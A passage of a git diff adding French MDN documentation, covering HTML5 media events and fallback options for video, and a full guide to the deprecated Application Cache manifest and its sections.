+     <dd>Le nombre d'octets du fichier de média qui ont été reçus jusqu'à présent.</dd>
+     <dt><code>total</code></dt>
+     <dd>Le nombre total d'octets dans le fichier de média.</dd>
+    </dl>
+   </td>
+  </tr>
+  <tr>
+   <td><code>ratechange</code></td>
+   <td>Envoyé lorsque la vitesse de lecture change.</td>
+  </tr>
+  <tr>
+   <td><code>seeked</code></td>
+   <td>Envoyé lorsqu'une opération de positionnement est effectuée.</td>
+  </tr>
+  <tr>
+   <td><code>seeking</code></td>
+   <td>Envoyé lorsqu'une opération de positionnement débute.</td>
+  </tr>
+  <tr>
+   <td><code>suspend</code> {{ gecko_minversion_inline("1.9.2") }}</td>
+   <td>Envoyé lorsque le chargement du média est interrompu ; cela peut arriver parce que le téléchargement est terminé ou parce qu'il a été mis en pause pour toute autre raison.</td>
+  </tr>
+  <tr>
+   <td><code>timeupdate</code></td>
+   <td>Le temps indiqué par l'attribut <code>currentTime</code> de l'élément a été modifié.</td>
+  </tr>
+  <tr>
+   <td><code>volumechange</code></td>
+   <td>Envoyé lorsque le volume audio est modifié (qu'il s'agisse d'une modification du volume ou d'un changement de l'attribut <code>muted</code>).</td>
+  </tr>
+  <tr>
+   <td><code>waiting</code></td>
+   <td>Envoyé lorsque l'opération demandée (comme une lecture) est retardée en attendant la fin d'une autre opération (comme un positionnement).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ gecko_minversion_note("1.9.2", "L'ancien évènement <code>load</code> a été retiré de Gecko 1.9.2, il n'était pas déclenché quand il fallait et ne doit pas être utilisé.") }}</p>
+
+<p>Ces évènements peuvent facilement être interceptés à l'aide ce ce genre de code :</p>
+
+<pre>var v = document.getElementsByTagName("video")[0];
+
+v.addEventListener("seeked", function() { document.getElementsByTagName("video")[0].play(); }, true);
+v.currentTime = 10.0;
+</pre>
+
+<p>Cet exemple récupère le premier élément vidéo du document et lui attache un écouteur d'évènement, vérifiant l'évènement seeked qui est envoyé lorsqu'une opération de positionnement se termine. La fonction appelle simplement la méthode <code>play()</code> de l'élément, qui lance la lecture.</p>
+
+<p>Ensuite, à la ligne 4, cet exemple positionne l'attribut <code>currentTime</code> de l'élément à 10.0, ce qui lance une opération de positionnement à la dixième seconde du média. Cela déclenche l'envoi d'un évènement <code>seeking</code> au début de l'opération, ensuite d'un évènement <code>seeked</code> lorsque le positionnement est terminé.</p>
+
+<p>Autrement dit, l'exemple se positionne à dix secondes du début du média, puis commence la lecture dès que c'est fait.</p>
+
+<h2 id="Options_de_rechange">Options de rechange</h2>
+
+<p>Le code HTML fourni entre les balises, par exemple <code>&lt;video&gt;</code> et <code>&lt;/video&gt;</code>, est utilisé par les navigateurs ne gérant pas les médias HTML 5. Vous pouvez tirer parti de cela pour fournir un contenu alternatif de rechange pour ces navigateurs.</p>
+
+<p>Cette section propose deux options de rechange possibles pour la vidéo. Dans les deux cas, si le navigateur gère la vidéo HTML 5, c'est celle-ci qui sera utilisée.</p>
+
+<h3 id="Utilisation_de_Flash">Utilisation de Flash</h3>
+
+<p>Vous pouvez utiliser Flash pour lire une vidéo Flash si l'élément <code>video</code> n'est pas géré :</p>
+
+<pre class="brush: html">&lt;video src="video.ogv" controls&gt;
+    &lt;object data="flvplayer.swf" type="application/x-shockwave-flash"&gt;
+      &lt;param value="flvplayer.swf" name="movie"/&gt;
+    &lt;/object&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Notez qu'il ne faut pas mettre d'attribut <code>classid</code> à la balise <code>object</code> afin de rester compatible avec les autres navigateurs qu'Internet Explorer.</p>
+
+<h3 id="Lecture_de_vidéos_Ogg_dans_une_applet_Java">Lecture de vidéos Ogg dans une applet Java</h3>
+
+<p>Une applet Java appelée <a class="external" href="http://maikmerten.livejournal.com/2256.html" title="http://maikmerten.livejournal.com/2256.html">Cortado</a> peut-être utilisée pour lire les vidéos Ogg dans les navigateurs ne pouvant pas lire les vidéos HTML 5 mais où Java est géré :</p>
+
+<pre class="brush: html">&lt;video src="my_ogg_video.ogg" controls width="320" height="240"&gt;
+  &lt;object type="application/x-java-applet"
+          width="320" height="240"&gt;
+     &lt;param name="archive" value="cortado.jar"&gt;
+     &lt;param name="code" value="com.fluendo.player.Cortado.class"&gt;
+     &lt;param name="url" value="my_ogg_video.ogg"&gt;
+     &lt;p&gt;You need to install Java to play this file.&lt;/p&gt;
+  &lt;/object&gt;
+&lt;/video&gt;
+</pre>
+
+<p>Si vous ne créez pas d'élément enfant de l'objet cortado comme l'élément &lt;p&gt; dans l'exemple ci-dessus, les installations de Firefox 3.5 qui gèrent la vidéo nativement mais où Java n'est pas installé informeront incorrectement l'utilisateur qu'il doit installer un plugin pour lire le contenu de la page.</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/HTML/Element/Audio" title="fr/HTML/Element/Audio"><code>audio</code></a></li>
+ <li><a class="internal" href="/Fr/HTML/Element/Video" title="fr/HTML/Element/Video"><code>video</code></a></li>
+ <li><a class="internal" href="/fr/HTML/Element/Source" title="fr/HTML/Element/Source"><code>source</code></a></li>
+ <li><a class="internal" href="/fr/Manipulation_de_vidéos_avec_canvas" title="fr/Manipulation de vidéos avec canvas"><code>Manipulation de vidéos avec canvas</code></a></li>
+ <li>{{ interface("nsIDOMHTMLMediaElement") }}</li>
+ <li><a class="internal" href="/fr/docs/Web/HTML/formats_media_support" title="fr/Formats de médias gérés par les éléments audio et video"><code>Formats de médias gérés par les éléments audio et video</code></a></li>
+</ul>
+
+<p> {{ languages( { "en": "en/Using_audio_and_video_in_Firefox" } ) }}</p>
+
+<p> {{ languages( { "es": "es/Etiquetas audio y video en Firefox" } ) }}</p>
diff --git a/files/fr/web/html/utiliser_application_cache/index.html b/files/fr/web/html/utiliser_application_cache/index.html
new file mode 100644
index 0000000000..ccc78772a8
--- /dev/null
+++ b/files/fr/web/html/utiliser_application_cache/index.html
@@ -0,0 +1,338 @@
+---
+title: Utiliser Application Cache
+slug: Web/HTML/Utiliser_Application_Cache
+tags:
+  - Avancé
+  - Cache
+  - Déprécié
+  - Guide
+  - HTML
+  - appcache
+translation_of: Web/HTML/Using_the_application_cache
+---
+<div>{{DefaultAPISidebar("App Cache")}}{{securecontext_header}}{{deprecated_header}}</div>
+
+<div class="warning">
+<p><strong>Attention !</strong> L'utilisation de la fonction de <em>mise en cache d'application</em> décrite ici est actuellement fortement déconseillée; cette fonctionnalité est <a href="https://html.spec.whatwg.org/multipage/browsers.html#offline">en train d' être retiré de la plate-forme Web</a>. Utiliser <a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> à la place. En fait, à partir de Firefox 44, quand l'<a href="/fr/docs/Web/HTML/Using_the_application_cache">application cache</a> est utilisé pour fournir une aide hors ligne pour une page, un message d'avertissement est maintenant affiché dans la console conseillant aux développeurs d'utiliser <a href="/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service workers</a> à la place ({{bug("1204581")}}).</p>
+</div>
+
+<h2 id="Introduction">Introduction</h2>
+
+<p><a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> supporte la mise en cache hors-ligne de ressources d'applications web; les fichiers sont stockés dans<strong> l'Application Cache </strong><em>(AppCache)</em> - une collection de ressources obtenues depuis un fichier <strong>manifest</strong> (<code>*.appcache</code>) inclue dans une application web.</p>
+
+<p>L'utilisation d'une application cache permet les bénéfices suivants :</p>
+
+<ul>
+ <li>Navigation hors-ligne : les utilisateurs peuvent utiliser un site même s'ils ne sont pas connectés.</li>
+ <li>Vitesse : les ressources mises en cache sont locales, et se chargent donc plus rapidement.</li>
+ <li>Réduction de la charge serveur : le navigateur ne télécharge uniquement les ressources qui ont changées sur le serveur.</li>
+</ul>
+
+<div>
+<h2 id="Comment_fonctionne_AppCache">Comment fonctionne AppCache</h2>
+
+<h3 id="Activer_AppCache">Activer AppCache</h3>
+
+<p>Vous devez, pour utiliser le cache d'application, utiliser l'attribut <code><a href="/fr/docs/Web/HTML/Element/html#attr-manifest">manifest</a> </code>dans l'élément <code>&lt;html&gt; </code>comme suit :</p>
+
+<pre class="brush: html notranslate">&lt;html manifest="example.appcache"&gt;
+  ...
+&lt;/html&gt;</pre>
+
+<p>L'attribut <code>manifest</code> spécifie l'URI d'un <strong>manifeste de cache</strong>, qui est un fichier texte qui répertorie les ressources (fichiers) que le navigateur doit mettre en cache pour votre application.</p>
+
+<p>Vous devez inclure l'attribut <code>manifest</code> sur chaque page de votre application que vous souhaitez mettre en cache. Le navigateur met pas en cache les pages qui ne contiennent pas l'attribut <code>manifest</code>, sauf si celle-ci sont explicitement mentionnées dans le manifeste même. Vous ne devez pas lister toutes les pages que vous souhaitez mettre en cache dans le fichier manifeste, le navigateur ajoute implicitement chaque page que l'utilisateur visite et qui possède l'attribut <code>manifest</code> réglé sur le cache de l'application.</p>
+
+<p>Certains navigateurs dont Firefox vont avertir l'utilisateur la première fois que celui-ci charge votre application par une notification :</p>
+
+<p>« Ce site internet (<code>www.example.com</code>) veut stocker des données sur votre ordinateur pour une utilisation hors-ligne. [Accepter] [Refuser pour ce site] [Pas maintenant] ».</p>
+
+<p>Le terme « d'applications (fonctionnant) hors-ligne » est parfois utilisé pour désigner les applications que l'utilisateur a autorisé à travailler hors-ligne.</p>
+
+<h3 id="Chargement_des_documents">Chargement des documents</h3>
+
+<p>L'utilisation d'un cache de l'application modifie le processus normal de chargement d'un document :</p>
+
+<ul>
+ <li>Si un cache de l'application existe, le navigateur charge le document et ses ressources associées directement à partir de la mémoire cache, sans accéder au réseau. Cela accélère le temps de chargement du document.</li>
+ <li>Le navigateur vérifie ensuite si le manifeste de cache a été mis à jour sur le serveur.</li>
+ <li>Si le manifeste de cache a été mis à jour, le navigateur télécharge une nouvelle version du manifeste et les ressources figurant dans  ce dernier. Cela se fait en arrière-plan et n'affecte pas les performances de manière significative.</li>
+</ul>
+
+<p>Le procédé de chargement de documents et mise à jour du cache de l'application est définie de manière plus détaillée ci-dessous:</p>
+
+<ol>
+ <li>Quand le navigateur visite un document qui contient l'attribut <code>manifest </code>et qu'il n'existe pas encore de cache d'application, il chargera le document puis récupérera toutes les entrées listées dans le manifeste, créant ainsi la première version du cache d'application.</li>
+ <li>Lors des visites ultérieures de ce document, le navigateur chargera le document et les autres ressources précisées dans le manifeste à partir du cache d'application — et non du serveur. De plus, le navigateur enverra aussi un évènement <code>checking </code>à l'objet <a href="/fr/docs/Web/API/Window/applicationCache"><code>window.applicationCache</code></a>, puis récupère le manifeste en fonction de la règle de cache HTTP adéquate.</li>
+ <li>Si la version en cache du manifeste est à jour, l'évènement <code>noupdate </code>est envoyé a l'<code>applicationCache</code>, et le processus de mise à jour est terminé. C'est la raison pour laquelle vous devez changer le manifeste chaque fois que vous mettez à jour les ressources sur le serveur, afin que le navigateur sache qu'il doit de nouveau récupérer les ressources.</li>
+ <li>Si le manifeste <em>a changé</em>, tous les fichiers dans le manifeste (dont ceux ajoutés au cache lors de l'appel à <a href="/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMOfflineResourceList#add.28.29"><code>applicationCache.add()</code></a>) sont récupérés dans un cache temporaire, en fonction des règles de cache HTTP adéquates. Un évènement <code>progress </code>est envoyé à l'objet <code>applicationCache </code>chaque fois qu'un fichier est récupéré dans le cache temporaire. Un évènement <code>error </code>est envoyé à chaque erreur, et la mise à jour s'arrête.</li>
+ <li>Une fois tous les fichiers récupérés en bonne et due forme, ils sont transférés dans le véritable cache hors-ligne un par un, et un évènement <code>cached </code>est envoyé à l'objet <code>applicationCache</code>. Le document étant déjà chargé dans le navigateur depuis le cache, le document mis à jour ne sera pas ré-affiché tant que celui-ci n'est pas chargé à nouveau (que ce soit manuellement ou via un programme).</li>
+</ol>
+
+<h2 id="Emplacement_du_stockage_et_effacement_du_cache_hors-ligne">Emplacement du stockage et effacement du cache hors-ligne</h2>
+
+<p>Dans Chrome, le cache hors-ligne peut être effacé grâce au bouton "Effacer les données de navigation..." dans les préférences, ou en ouvrant <code>chrome://appcache-internals/</code>. Safari a un paramètre "Vider le cache" dans ses préférences, mais il est possible que le redémarrage du navigateur soit nécessaire.</p>
+
+<p>Dans Firefox, les données de cache hors-ligne sont stockées séparément du profil Firefox—à côté du cache disque normal :</p>
+
+<ul>
+ <li>Windows Vista/7: <code>C:\Users\&lt;username&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;salt&gt;.&lt;profile name&gt;\OfflineCache</code></li>
+ <li>Mac/Linux: <code>/Users/&lt;username&gt;/Library/Caches/Firefox/Profiles/&lt;salt&gt;.&lt;profile name&gt;/OfflineCache</code></li>
+</ul>
+
+<p>Dans Firefox l'état actuel du cache hors-ligne est consultable sur la page <code>about:cache</code> (dans la section "Offline cache device"). Le cache hors-ligne peut être effacé pour chaque site individuellement à l'aide du boutton "Supprimer..." dans  Menu -&gt; Options -&gt; Avancé -&gt; Réseau -&gt; Contenu web et données utilisateur hors connexion.</p>
+
+<p>Avant Firefox 11, ni Tools -&gt; Clear Recent History ni Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data -&gt; Clear Now ne permettaient d'effacer le cache hors-ligne. Ceci a été corrigé.</p>
+
+<p>Voir aussi <a href="/fr/docs/DOM/Storage#Storage_location_and_clearing_the_data">effacer les données de stockage DOM</a>.</p>
+
+<p>Les caches d'application peuvent aussi devenir obsolètes. Si le manifeste d'une application est retiré du serveur, le navigateur efface toutes les données cachées utilisant ce manifeste, et déclenche un event "obsoleted" à l'objet <code>applicationCache</code>. Le statut du cache de l'application est alors <code>OBSOLETE</code>.</p>
+
+<h2 id="Le_manifeste_du_cache">Le manifeste du cache</h2>
+
+<h3 id="Référencement_dun_fichier_de_manifeste_de_cache">Référencement d'un fichier de manifeste de cache</h3>
+
+<p>L'attribut <code>manifest</code> dans une application web peut spécifier le chemin relatif d'un manifeste de cache ou une URL absolue. (Les URL absolues doivent être de la même origine que l'application). Le manifeste du cache peut avoir une extension de fichier, mais il doit être servi avec le MIME type <code>text/cache-manifest</code>.</p>
+
+<div class="note"><strong>Note: </strong>Sur les serveurs Apache, le MIME type pour les fichiers manifest (.appcache) peut être défini par l'ajout de <code>AddType text/cache-manifest .appcache</code> à un fichier a .htaccess soit à l'intérieur du répertoire racine, soit le même répertoire que l'application.</div>
+
+<h3 id="Les_entrées_dans_un_manifeste_de_cache">Les entrées dans un manifeste de cache</h3>
+
+<p>Le fichier manifest de cache est un simple fichier de texte qui liste les ressources que le navigateur doit cache pour l'accès hors ligne. Les ressources sont identifiées par URI. Les entrées listées dans le manifeste de cache doivent avoir le même plan, hôte, et port comme un manifest.</p>
+
+<h3 id="Example_1_Un_fichier_manifeste_simple">Example 1: Un fichier manifeste simple</h3>
+
+<p>Ci-dessous, un exemple simple de manifeste — <code>example.appcache</code> utilisé par le site imaginaire www.example.com:</p>
+
+<pre class="notranslate">CACHE MANIFEST
+# v1 - 2011-08-13
+# Ceci est un commentaire.
+https://www.example.com/index.html
+https://www.example.com/header.png
+https://www.example.com/blah/blah
+</pre>
+
+<p>Il n'y a pas, dans cet exemple, d'en-tête de section, donc toutes les lignes sont supposées être des sections (<code>CACHE:</code>) explicites. On peut aussi utiliser des URL relatives (<code>index.html</code>, …)</p>
+
+<p>Le commentaire « v1 » n'est pas là par hasard : le cache n'est mis à jour que quand le manifeste change, avec une correspondance d'octet à octet. Si vous utilisez d'autres ressources (par exemple en mettant à jour le contenu de l'image <code>header.png</code>), vous devez changer le manifeste pour signaller au navigateur qu'il doit rafraîchir le cache, et, comme <code>header.png</code> est déjà présent dans le cache, vous devez modifier quelquechose d'autre. Bien que vous puissiez changer n'importe quoi d'autre dans le manifest, utiliser un numéro de version est une bonne pratique conseillée.</p>
+
+<div class="warning"><strong>Important:</strong> N'utilisez pas le manifeste lui-même dans le fichier de manifeste : il vous serait alors quasiment impossible d'informer le navigateur lors de la mise à jour du manifeste.</div>
+
+<h3 id="Des_sections_dans_un_manifeste_de_cache_CACHE_NETWORK_et_FALLBACK">Des sections dans un manifeste de cache: <code>CACHE</code>, <code>NETWORK</code>, et <code>FALLBACK</code></h3>
+
+<p>Un manifeste peut avoir trois sections distinctes: <code>CACHE</code>, <code>NETWORK</code>, et <code>FALLBACK</code>.</p>
+
+<dl>
+ <dt><code>CACHE:</code></dt>
+ <dd>Ceci est la section par défaut pour les entrées dans un manifeste de cache. Les fichiers sont répertoriés sous le CACHE: l'en-tête de section (ou immédiatement après la ligne MANIFESTE CACHE) est explicitement mis en cache après qu'il ait été téléchargé pour la première fois.</dd>
+ <dt><code>NETWORK:</code></dt>
+ <dd>Les fichiers répertoriés dans le NETWORK: l'en-tête de section dans le fichier manifeste de cache est une ressource de la liste blanche qui nécessite une connexion au serveur. Toutes les demandes à cette ressource contournent le cache, même si l'utilisateur est déconnecté. Le caractère générique * peut être utilisé qu'une seule fois. La plupart des sites en ont besoin *.</dd>
+ <dt><code>FALLBACK:</code></dt>
+ <dd>Le <code>FALLBACK:</code> section qui spécifie les pages de repli que le navigateur doit utiliser si une ressource est inaccessible. Chaque entrée dans cette section répertorie deux URIs (le premier est la ressource, le second est le repli). Les deux URIs doivent être relatif et de la même origine que le fichier manifeste. Les Wildcards peuvent être utilisés.</dd>
+</dl>
+
+<p>Les sections <code>CACHE</code>, <code>NETWORK</code>, et FALLBACK peuvent être listés dans n'importe  quel ordre dans un manifeste de cache, et chaque section peut apparaître plus qu'une fois dans un simple manifeste.</p>
+
+<h3 id="Example_2_Un_manifeste_de_cache_plus_complet">Example 2 : Un manifeste de cache plus complet</h3>
+
+<p>Voici un exemple plus complet de manifeste pour notre site imaginaire www.example.com.</p>
+
+<pre class="notranslate">CACHE MANIFEST
+# v1 2011-08-14
+# Ceci est un autre commentaire
+index.html
+cache.html
+style.css
+image1.png
+
+# Contenu Fallback
+FALLBACK:
+. fallback.html
+
+# L'utilise depuis le network (réseau) si il est disponible
+NETWORK:
+network.html</pre>
+
+<p>Nous utilisons dans cet exemple les sections <code>FALLBACK </code>et <code>NETWORK</code> pour préciser que la page <code>network.html</code> doit toujours être récupérée depuis le réseau et que la page <code>fallback.html</code> doit être utilisée comme ressource de secours, par exemple si la connexion au serveur ne peut être établie.</p>
+
+<h3 id="Structure_dun_manifeste">Structure d'un manifeste</h3>
+
+<p>Les manifestes doivent être servis avec le type MIME <code>text/cache-manifest</code>, et toutes les ressources servies en utilisant ce type MIME doivent respecter la syntaxe d'un manifeste, comme défini ici.</p>
+
+<p>Les manifestes sont des fichiers textes au format UTF-8 et peuvent, éventuellement, inclure un caractère BOM. Les nouvelles lignes peuvent être représentés par saut de ligne (<code>U+000A</code>), retour chariot (<code>U+000D</code>), ou les deux.</p>
+
+<p>La première ligne du manifeste doit être la chaine <code>CACHE MANIFEST</code> (séparé par un simple espace <code>U+0020</code>), suivi par aucun ou plusieurs espaces ou tabulations. Tout autre texte sur la ligne sera ignoré.</p>
+
+<p>Le reste du manifeste peut contenir 0 ou plusieurs lignes :</p>
+
+<dl>
+ <dt>Lines vides</dt>
+ <dd>Vous pouvez utiliser les lignes vides comprenant 0 ou plusieurs espaces ou tabulations.</dd>
+ <dt>Commentaire</dt>
+ <dd>Les commentaires consistent en 0 ou plusieurs espaces ou tabulations suivis du caractère <code>#</code>, suivi de 0 ou plusieurs caractères de texte. Les commentaires devraient être utilisés seulement sur leur propre ligne, et ne devrait pas être ajoutés à d'autres lignes. Cela signifie également que vous ne pouvez pas spécifier les identifiants de fragments.</dd>
+ <dt>Section de tête</dt>
+ <dd>La <code>section header</code> précise la section du cache qui est manipulée. Il en existe trois types:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table" style="height: 130px; width: 535px;">
+ <tbody>
+  <tr>
+   <th>Section header</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>CACHE:</code></td>
+   <td>Passe à la section explicite. C'est la section par défaut.</td>
+  </tr>
+  <tr>
+   <td><code>NETWORK:</code></td>
+   <td>Passe à la section des sections en ligne sur la liste blanche.</td>
+  </tr>
+  <tr>
+   <td><code>FALLBACK:</code></td>
+   <td>Passe à la section de secours.</td>
+  </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>La ligne d'en-tête de section peut contenir des espaces, mais doit inclure un « : » dans le nom de la section.</dd>
+ <dt>Section data</dt>
+ <dd>Le format des lignes de données varie selon les sections. Dans la section explicite (<code>CACHE:</code>) chaque ligne contient une référence URI ou IRI à une ressource en cache (aucun caractère joker n'est admis dans cette section). Des espaces sont accepté avant et après l'URI on l'IRI sur chaque ligne. Dans la section de secours, chaque ligne est une référence URI ou IRI vers une ressource, suivie d'une ressource de secours qui sera utilisée lorsque la connexion au serveur ne peut être établie. Dans la section en ligne, chaque ligne est une référence valide URI ou IRI à une ressource qui sera récupérée sur le réseau (le caractère joker « * » est autorisé dans cette section).
+ <div class="note"><strong>Note: </strong>Les URI relatives pointent vers les URI du manifeste, et non vers les URI du document qui référence le manifeste.</div>
+ </dd>
+</dl>
+
+<p>Le manifeste peut passer à l'envie d'une section à l'autre (chaque en-tête de section peut être utilisée plusieurs fois), et les sections vides sont tolérées.</p>
+
+<h2 id="Les_ressources_dans_AppCache">Les ressources dans AppCache</h2>
+
+<p>Le cache inclue toujours au moins une ressource, identifiée par URI. Toutes les ressources répondent à une des catégories suivantes :</p>
+
+<dl>
+ <dt>Entrées Maitres</dt>
+ <dd>Il s'agit de ressources ajoutées au cache parce qu'un contexte de navigation visité par l'utilisateur incluait un document qui indiquait que ces ressources étaient dans le cache en utilisant son attribut <code>manifest</code>.</dd>
+ <dt>Entrées Explicites</dt>
+ <dd>Il s'agit de ressources listées dans le manifeste du cache.</dd>
+ <dt>Entrées Network</dt>
+ <dd>Il s'agit de ressources listées dans le manifeste du cache comme entrées de network.</dd>
+ <dt>Entrées Fallback</dt>
+ <dd>Il s'agit de ressources listées dans le manifeste du cache comme entrées de fallback. {{fx_minversion_inline("3")}}</dd>
+</dl>
+
+<div class="note"><strong>Note : </strong>Les ressources peuvent être marquées dans plusieurs catégories, et peuvent donc être catégorisées comme des entrées multiples. Par exemple, une entrée peut être à la fois une entrée explicite et une entrée de fallback.</div>
+
+<p>Les catégories ressources sont décrites en détail ci-dessous.</p>
+
+<h3 id="Entrées_Maitres">Entrées Maitres</h3>
+
+<p>Tous les fichiers HTML peuvent inclure un attribut {{htmlattrxref("manifest","html")}} dans leur élément {{HTMLElement("html")}}. Par exemple, disons que nous avons le fichier <code><a class="linkification-ext external" href="https://www.foo.bar/entry.html">https://www.example.com/entry.html</a></code>, qui ressemble à ça :</p>
+
+<pre class="brush: html notranslate">&lt;html manifest="example.appcache"&gt;
+  &lt;h1&gt;Application Cache Example&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Si <code>entry.html</code> n'est pas inclue dans le manifeste, visiter la page <code>entry.html</code> provoquera l'ajout de la page <code>entry.html</code> dans le cache de l'application comme une master entry.</p>
+
+<h3 id="Entrées_Explicites">Entrées Explicites</h3>
+
+<p>Les entrées explicites sont des ressources explicitement listées dans la section <code>CACHE </code>d'un manifeste de cache.</p>
+
+<h3 id="Entrées_Network">Entrées Network</h3>
+
+<p>Les entrées listées dans <code>NETWORK :</code> peuvent contenir plusieurs ou aucune ressource que l'application requiert lors d'un accès en ligne. C'est principalement une <em>liste blanche en ligne</em>. Les URIS spécifiées dans la section <code>NETWORK</code> sont chargées depuis le serveur plutôt que depuis le cache. Cela permet au modèle de sécurité du navigateur de protéger l'utilisateur de possibles brèches de sécurité en limitant l'accès aux seules ressources approuvées.</p>
+
+<div class="note"><strong>Note :</strong> La <em>liste blanche en ligne</em> est ignorée pour les versions de Firefox antérieures à 3.5.</div>
+
+<p>Vous pouvez l'utiliser pour, par exemple, charger et exécuter des scripts et d'autres codes depuis le serveur au lieu du cache. :</p>
+
+<pre class="notranslate">CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+
+<p>Ceci assure que les requêtes téléchargent les ressources contenues dans <code><a class="external" href="https://www.example.com/api/" rel="freelink">https://www.example.com/api/</a></code> viendront toujours du réseau sans essayer d'accéder au cache.</p>
+
+<div class="note"><strong>Note </strong>: Juste omettre les <em>master entries</em> (les fichiers qui ont l'attribut <code>manifest</code> défini dans l'élément <code>html</code>) dans le manifeste n'aurait pas le même comportement parce que les <em>master entries</em> seront ajoutées — et donc servies depuis— le cache. </div>
+
+<h3 id="Entrées_Fallback">Entrées Fallback</h3>
+
+<p>Les entrées de fallback sont utilisées quand une tentative de chargement d'une ressource échoue. Par exemple, imaginons qu'il y a un manifeste situé à <code><a class="external" href="https://www.example.com/example.appcache" rel="freelink">https://www.example.com/example.appcache</a></code>, et qui contient :</p>
+
+<pre class="notranslate">CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+
+<p>Toute requête vers <code><a class="external" href="https://www.example.com/example/bar/" rel="freelink">https://www.example.com/example/bar/</a></code> ou n'importe lequel de ses sous-répertoires et contenus provoquera une tentative de chargement de la ressource demandée. Si la tentative échoue, soit à cause d'un échec réseau ou d'une erreur serveur quelle qu'elle soit, le contenu du fichier <code>example.html</code> sera chargé à la place.</p>
+
+<h2 id="Les_états">Les états</h2>
+
+<p>Chaque cache a un statut qui indique la condition actuelle du cache. Les caches qui partagent la même URI de manifeste partagent le même statut, qui est un des suivants :</p>
+
+<dl>
+ <dt><code>UNCACHED</code></dt>
+ <dd>Une valeur spéciale qui indique qu'un object <em>application cache</em> n'est pas complètement initialisée.</dd>
+ <dt><code>IDLE</code></dt>
+ <dd>Le cache n'est pas en cours de mise à jour.</dd>
+ <dt><code>CHECKING</code></dt>
+ <dd>Le manifeste est en train d'être contrôlé pour d'éventuelles mises à jour.</dd>
+ <dt><code>DOWNLOADING</code></dt>
+ <dd>Des ressources sont en train d'être téléchargées pour être ajoutées au cache, dû à un changement du manifeste.</dd>
+ <dt><code>UPDATEREADY</code></dt>
+ <dd>Il y a une nouvelle version du cache disponible. Il y a un évènement <code>updateready</code> correspondant, qui est lancé au lieu de l'évènement <code>cached</code> quand une nouvelle mise à jour a été téléchargée mais pas encore activée via la méthode <code>swapCache()</code>.</dd>
+ <dt><code>OBSOLETE</code></dt>
+ <dd>Le groupe de caches est maintenant obsolète.</dd>
+</dl>
+
+<h2 id="Test_pour_les_mises_à_jour_des_manifestes_de_cache">Test pour les mises à jour des manifestes de cache</h2>
+
+<p>Vous pouvez programmer un test pour voir si une application possède un manifeste de cache à jour en utilisant JavaScript. Depuis un manifeste de cache peut être été mis à jour avant un script qui teste si les événements sont à jour, les scripts doivent toujours tester <code>window.applicationCache.status</code>.</p>
+
+<pre class="brush: js notranslate">function onUpdateReady() {
+  console.log('nouvelle version trouvée !');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}</pre>
+
+<p>Pour démarrer manuellement le test pour un nouveau manifeste de cache, vous pouvez utilisez <code>window.applicationCache.update()</code>.</p>
+
+<h2 id="Pièges">Pièges</h2>
+
+<ul>
+ <li>Ne jamais accéder à des fichiers mis en cache à l'aide des paramètres GET traditionnels (comme <code>other-cached-page.html?parameterName=value</code>). Cela rendra le contournement du navigateur du cache et de tenter de l'obtenir à partir du réseau. Pour créer un lien vers les ressources mises en cache qui ont des paramètres analysés dans les paramètres d'utilisation de JavaScript dans la partie de hach de la liaison, comme <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>Lorsque les applications sont mises en cache, mettant simplement à jour les ressources (fichiers) qui sont utilisés dans une page Web mais cela ne suffit pas à mettre à jour les fichiers qui ont été mis en cache. Vous devez mettre à jour le fichier manifeste de cache lui-même avant que le navigateur récupère et utilise les fichiers mis à jour. Vous pouvez le faire par programme<code>window.applicationCache.swapCache()</code>, si les ressources qui ont déjà été chargées ne seront pas affectés. Pour vous assurer que les ressources sont chargées à partir d'une nouvelle version du cache de l'application, rafraîchir la page est idéal.</li>
+ <li>Il est une bonne idée de mettre des en-têtes expirés sur votre serveur web pour les fichiers * .appcache pour qu'ils expirent immédiatement. Cela évite le risque de mise en cache des fichiers manifestes. Par exemple, dans Apache, vous pouvez spécifier une telle configuration comme suit:<br>
+  <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.html.manifest")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a href="https://appcache.offline.technology/">Appcache Facts</a> - detailed information on AppCache idiosyncrasies</li>
+ <li><a href="https://alistapart.com/article/application-cache-is-a-douchebag">A List Apart: Application Cache is a Douchebag</a>
+  <ul>
+   <li><a href="https://flailingmonkey.com/application-cache-not-a-douchebag">The Application Cache is no longer a Douchebag</a> - an overview of the app cache debugging tools added in Firefox 23.</li>
+  </ul>
+ </li>
+ <li><a href="https://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li>
+ <li><a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a href="https://www.w3.org/TR/offline-webapps/">W3C Working Group Note: Offline Web Applications</a></li>
